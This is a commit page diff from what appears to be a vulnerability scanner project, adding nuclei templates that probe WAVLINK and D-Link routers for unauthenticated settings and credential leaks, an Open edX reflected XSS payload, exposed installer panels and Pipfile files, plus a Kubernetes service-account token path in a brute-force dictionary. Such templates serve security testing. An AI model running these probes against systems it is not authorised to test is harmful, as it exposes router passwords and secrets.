Skip to content

Commit eef7fbc

Browse files
hktalenthktalent
committed
up PoCs 2022-08-16
1 parent 7828320 commit eef7fbc

File tree

18 files changed

+524
-6
lines changed

18 files changed

+524
-6
lines changed

‎brute/dicts/filedic.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
/fs/var/run/secrets/kubernetes.io/serviceaccount/token
12
!.htaccess
23
!.htpasswd
34
".t.jsp

‎config/nuclei-templates/cves/2020/CVE-2020-12127.yaml

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
id: CVE-2020-12127
2+
3+
info:
4+
name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
An information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
9+
reference:
10+
- https://nvd.nist.gov/vuln/detail/CVE-2020-12127
11+
classification:
12+
cve-id: CVE-2020-12127
13+
metadata:
14+
verified: true
15+
shodan-query: http.html:"Wavlink"
16+
tags: cve,cve2020,wavlink,exposure
17+
18+
requests:
19+
- method: GET
20+
path:
21+
- "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"
22+
23+
matchers-condition: and
24+
matchers:
25+
- type: word
26+
part: body
27+
words:
28+
- 'Login='
29+
- 'Password='
30+
- 'Model='
31+
- 'AuthMode='
32+
condition: and
33+
34+
- type: status
35+
status:
36+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-28955.yaml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
id: CVE-2022-28955
2+
3+
info:
4+
name: D-Link DIR816L - Access Control
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
An access control issue in D-Link DIR816L_FW206b01 allows unauthenticated attackers to access folders folder_view.php and category_view.php.
9+
reference:
10+
- https://github.com/shijin0925/IOT/blob/master/DIR816/1.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-28955
12+
- https://www.dlink.com/en/security-bulletin/
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2022-28955
17+
cwe-id: CWE-287
18+
metadata:
19+
shodan-query: http.html:"DIR-816L"
20+
verified: "true"
21+
tags: cve,cve2022,dlink,exposure
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/category_view.php"
27+
- "{{BaseURL}}/folder_view.php"
28+
29+
stop-at-first-match: true
30+
matchers-condition: and
31+
matchers:
32+
- type: word
33+
words:
34+
- '<title>SharePort Web Access</title>'
35+
36+
- type: status
37+
status:
38+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-31846.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2022-31846
2+
3+
info:
4+
name: WAVLINK WN535 G3 - Information Disclosure
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
A vulnerability is in the 'live_mfg.shtml' page of the WAVLINK WN535 G3,Firmware package version M35G3R.V5030.180927
9+
reference:
10+
- https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__live_mfg.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-31846
12+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2022-31846
17+
cwe-id: CWE-668
18+
metadata:
19+
shodan-query: http.html:"Wavlink"
20+
verified: "true"
21+
tags: cve,cve2022,wavlink,exposure
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/live_mfg.shtml"
27+
28+
matchers-condition: and
29+
matchers:
30+
- type: word
31+
words:
32+
- 'Model='
33+
- 'DefaultIP='
34+
- 'LOGO1='
35+
condition: and
36+
37+
- type: status
38+
status:
39+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32195.yaml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
id: CVE-2022-32195
2+
3+
info:
4+
name: Open edX - Cross-site Scripting
5+
author: arafatansari
6+
severity: medium
7+
description: |
8+
Open edX platform before 2022-06-06 allows Reflected Cross-site Scripting via the "next" parameter in the logout URL.
9+
reference:
10+
- https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32195
12+
- https://github.com/edx
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
15+
cvss-score: 6.1
16+
cve-id: CVE-2022-32195
17+
cwe-id: CWE-79
18+
metadata:
19+
comment: Hover the cursor on the redirect link
20+
shodan-query: http.html:"Open edX"
21+
verified: "true"
22+
tags: cve,cve2022,openedx,xss
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'
28+
29+
matchers-condition: and
30+
matchers:
31+
- type: word
32+
part: body
33+
words:
34+
- '<a href="+8"onmouseover="alert(document.domain)">click here to go to'
35+
36+
- type: word
37+
part: header
38+
words:
39+
- text/html
40+
41+
- type: status
42+
status:
43+
- 200

‎config/nuclei-templates/exposed-panels/concrete5/concrete5-install.yaml

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,26 +8,28 @@ info:
88
reference:
99
- https://documentation.concretecms.org/developers/introduction/installing-concrete-cms
1010
metadata:
11+
verified: true
1112
shodan-query: http.title:"Install concrete5"
12-
tags: panel,concrete,cms
13+
tags: panel,install,concrete,cms
1314

1415
requests:
1516
- method: GET
1617
path:
1718
- "{{BaseURL}}/index.php/install"
1819
- "{{BaseURL}}/concrete5/index.php/install"
1920

21+
stop-at-first-match: true
2022
matchers-condition: and
2123
matchers:
22-
- type: status
23-
status:
24-
- 200
25-
2624
- type: word
2725
part: body
2826
words:
2927
- '<title>Install concrete5</title>'
3028

29+
- type: status
30+
status:
31+
- 200
32+
3133
extractors:
3234
- type: regex
3335
part: body

‎config/nuclei-templates/exposed-panels/dzzoffice/dzzoffice-install.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: dzzoffice-install
2+
3+
info:
4+
name: DzzOffice Exposed Installation
5+
author: ritikchaddha
6+
severity: high
7+
metadata:
8+
verified: true
9+
shodan-query: http.favicon.hash:-1961736892
10+
fofa-query: title="dzzoffice"
11+
tags: dzzoffice,install
12+
13+
requests:
14+
- method: GET
15+
path:
16+
- "{{BaseURL}}/install/index.php"
17+
18+
matchers-condition: and
19+
matchers:
20+
- type: word
21+
part: body
22+
words:
23+
- 'DzzOffice'
24+
25+
- type: word
26+
part: body
27+
words:
28+
- '简体中文 UTF8 版'
29+
- 'Simplified Chinese UTF8 version'
30+
condition: or
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/exposed-panels/dzzoffice/dzzoffice-panel.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: dzzoffice-panel
2+
3+
info:
4+
name: DzzOffice Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.favicon.hash:-1961736892
10+
tags: dzzoffice,panel
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}"
16+
- "{{BaseURL}}/index.php"
17+
- "{{BaseURL}}/user.php?mod=login"
18+
19+
stop-at-first-match: true
20+
redirects: true
21+
max-redirects: 2
22+
matchers-condition: and
23+
matchers:
24+
- type: word
25+
part: body
26+
words:
27+
- 'content="DzzOffice'
28+
- 'DZZSCRIPT'
29+
- "dzzoffice.com"
30+
condition: or
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/exposed-panels/jupyter-notebook.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ requests:
2323
stop-at-first-match: true
2424
redirects: true
2525
max-redirects: 2
26+
matchers-condition: and
2627
matchers:
2728
- type: word
2829
part: body

‎config/nuclei-templates/exposed-panels/led-imediacloud-panel.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: led-imediacloud-panel
2+
3+
info:
4+
name: LEDiMediaCloud Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.html:"LEDiMediaCloud"
10+
tags: panel,led,mediacloud
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/login"
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- 'LEDiMediaCloud'
23+
24+
- type: status
25+
status:
26+
- 200

‎config/nuclei-templates/exposed-panels/pichome-panel.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: pichome-panel
2+
3+
info:
4+
name: Pichome Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.favicon.hash:933976300
10+
tags: pichome,panel
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}"
16+
- "{{BaseURL}}/user.php?mod=login"
17+
18+
stop-at-first-match: true
19+
redirects: true
20+
max-redirects: 2
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- 'Powered By oaooa PicHome'
27+
- 'content="oaooa"'
28+
condition: or
29+
30+
- type: status
31+
status:
32+
- 200

‎config/nuclei-templates/exposures/configs/pipfile-config.yaml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
id: pipfile-config
2+
3+
info:
4+
name: Pipfile Configuration Exposure
5+
author: DhiyaneshDK
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: html:"Pipfile"
10+
tags: exposure,pip,devops,cicd
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/Pipfile"
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- '[[source]]'
23+
- '[packages]'
24+
condition: and
25+
26+
- type: status
27+
status:
28+
- 200

‎config/nuclei-templates/exposures/files/pipfile-lock.yaml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
id: pipfile-lock
2+
3+
info:
4+
name: Pipfile.lock Disclosure
5+
author: DhiyaneshDK
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: html:"Pipfile"
10+
tags: exposure,pip,devops,cicd
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/Pipfile.lock"
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- '"pipfile-spec":'
23+
- '"requires"'
24+
condition: and
25+
26+
- type: status
27+
status:
28+
- 200

0 commit comments

Comments
 (0)